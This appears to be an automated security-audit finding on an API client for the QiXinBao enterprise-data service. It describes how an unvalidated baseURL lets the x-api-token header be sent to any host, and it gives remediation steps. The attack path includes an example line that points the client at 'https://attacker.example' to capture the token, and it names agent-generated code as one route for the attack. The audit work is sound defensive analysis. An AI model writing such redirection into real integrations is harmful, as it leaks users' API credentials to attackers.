T09 · Insecure Skill Coding Practices
- Location
src/client.ts:35- Finding
API Token Can Be Transmitted to a Caller-Controlled Endpoint
- Content
View full analysis
Vulnerability Details
File Location:
src/client.ts:35-43
Vulnerability Type: Credential exposure through an unrestricted API base URL
Risk Level: MediumVulnerable Code
ts constructor(apiToken: string, baseURL: string = 'https://external-api.qixin.com/skill/ent/public') { this.apiToken = apiToken this.client = axios.create({ baseURL, headers: { 'Content-Type': 'application/json', 'x-api-token': apiToken, }, timeout: 30000, }) }The affected class is publicly exported at
src/index.ts:2:ts export * from './client'Technical Analysis
The public
QxbEntClientconstructor accepts an arbitrarybaseURL. The Axios client then automatically includes the supplied API token in thex-api-tokenheader of every request.The implementation does not validate the URL scheme, hostname, port, or path before associating the credential with the destination. Consequently, a caller can construct the client with an attacker-controlled URL rather than the documented QiXinBao endpoint.
This contradicts the documented security expectation that the token is used only with
https://external-api.qixin.com/skill/ent/public. The bundled examples do not exploit this behavior, so the issue is an exposed credential-redirection primitive rather than evidence of active credential exfiltration.Attack Path
- An attacker influences integration code, runtime configuration, or agent-generated code that constructs
QxbEntClient. - The attacker supplies a URL under their control as the second constructor argument:
ts const client = new QxbEntClient(token, 'https://attacker.example') - The application invokes any query method, such as
getEnterpriseInformation. - Axios sends the request to the attacker-controlled server.
- The request includes the victim's API token in the
x-api-tokenheader and may also disclose the qu ...[truncated 639 chars]
- An attacker influences integration code, runtime configuration, or agent-generated code that constructs
- Remediation
View remediation
Remediation Suggestions
- Remove the public
baseURLparameter if endpoint customization is not an explicit requirement. - Hardcode the approved HTTPS origin:
ts const API_BASE_URL = 'https://external-api.qixin.com/skill/ent/public' - If endpoint customization is necessary, parse the URL and enforce an exact allowlist for protocol, hostname, port, and path before creating the Axios client.
- Reject HTTP URLs, embedded credentials, unexpected ports, subdomain variations, and lookalike domains.
- Attach
x-api-tokenthrough a request interceptor only after confirming that the final request URL belongs to the approved origin. - Disable or strictly validate redirects so a trusted endpoint cannot redirect credential-bearing requests to another origin.
- Add automated tests proving that unapproved origins and cross-origin redirects never receive the token.
- Remove the unused
apiTokeninstance field to reduce unnecessary credential retention in memory.
- Remove the public
